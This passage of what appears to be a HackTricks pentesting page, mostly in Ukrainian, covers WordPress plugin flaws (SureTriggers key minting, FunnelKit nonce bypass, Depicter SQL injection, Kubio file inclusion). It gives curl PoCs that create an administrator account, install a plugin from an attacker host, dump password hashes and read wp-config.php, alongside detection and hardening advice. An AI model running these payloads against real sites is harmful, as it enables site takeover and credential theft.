- Помилка: приймає username, видає connection key без current_user_can() або суворого permission_callback
- Наслідок: повне захоплення шляхом прив’язки емісованого ключа до внутрішніх привілейованих дій
PoC – згенеруйте (mint) connection key і використайте його
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Why it’s exploitable
- Чутливий REST route захищений лише низькоентропійним доказом ідентичності (username) або відсутнім permission_callback
- Відсутня перевірка capability; згенерований ключ сприймається як універсальний обхід
Detection checklist
- Grep код плагіна на register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Будь-який маршрут, що видає tokens/keys на основі identity, наданої в запиті (username/email), без прив’язки до автентифікованого користувача або capability
- Шукайте наступні маршрути, які приймають згенерований token/key без серверних перевірок capability
Hardening
- Для будь-якого привілейованого REST route: вимагайте permission_callback, який застосовує current_user_can() для потрібної capability
- Не створюйте довготривалі keys на основі identity, переданої клієнтом; якщо потрібно, видавайте короткоживучі, прив’язані до користувача tokens після автентифікації та повторно перевіряйте capability при використанні
- Перевіряйте контекст користувача, який викликає (wp_set_current_user недостатньо сам по собі) і відхиляйте запити, де !is_user_logged_in() || !current_user_can(
)
Зловживання Nonce gate → неавторизована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3)
Nonces запобігають CSRF, а не авторизації. Якщо код трактує успішну перевірку nonce як зелений сигнал і пропускає перевірки прав для привілейованих операцій (наприклад, install/activate plugins), неавторизовані атакуючі можуть задовольнити слабку вимогу nonce і досягти RCE, встановивши плагін з бекдором або уразливий плагін.
- Vulnerable path: plugin/install_and_activate
- Недолік: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Наслідок: повне скомпрометування через довільне встановлення/активацію плагіна
PoC (форма залежить від плагіна; лише ілюстрація)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Чекліст виявлення
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Зміцнення
- Завжди трактуйте nonces як CSRF tokens тільки; вимагайте capability checks незалежно від стану nonce
- Вимагайте current_user_can(‘install_plugins’) і current_user_can(‘activate_plugins’) перед виконанням коду інсталятора
- Відхиляйте неавторизований доступ; уникайте експонування nopriv AJAX actions для привілейованих потоків
Неавторизований SQLi через параметр s (search) в діях depicter-* (Depicter Slider ≤ 3.6.1)
Кілька depicter-* actions використовували параметр s (search) і конкатенували його в SQL-запити без параметризації.
- Параметр: s (search)
- Вразливість: пряма конкатенація рядка в WHERE/LIKE clauses; no prepared statements/sanitization
- Вплив: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Шукати (grep) обробники дій depicter-* та пряме використання $_GET[‘s’] або $_POST[‘s’] в SQL
- Переглянути кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s
Hardening
- Завжди використовувати $wpdb->prepare() або wpdb-плейсхолдери; відкидати несподівані метасимволи на сервері
- Додати суворий allowlist для s і нормалізувати до очікуваної charset/length
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Прийняття шляхів, контрольованих атакуючим, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — виконувати код, якщо включені PHP/лог-файли потрапляють у середовище виконання.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – read wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Чекліст виявлення
- Будь-який handler, який конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath()
- Шукати патерни traversal (../), які виходять за межі призначеної директорії templates
Зміцнення
- Застосовувати allowlisted templates; вирішувати за допомогою realpath() і вимагати str_starts_with(realpath(file), realpath(allowed_base))
- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() лише для імен файлів (не для повних шляхів)
Посилання
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

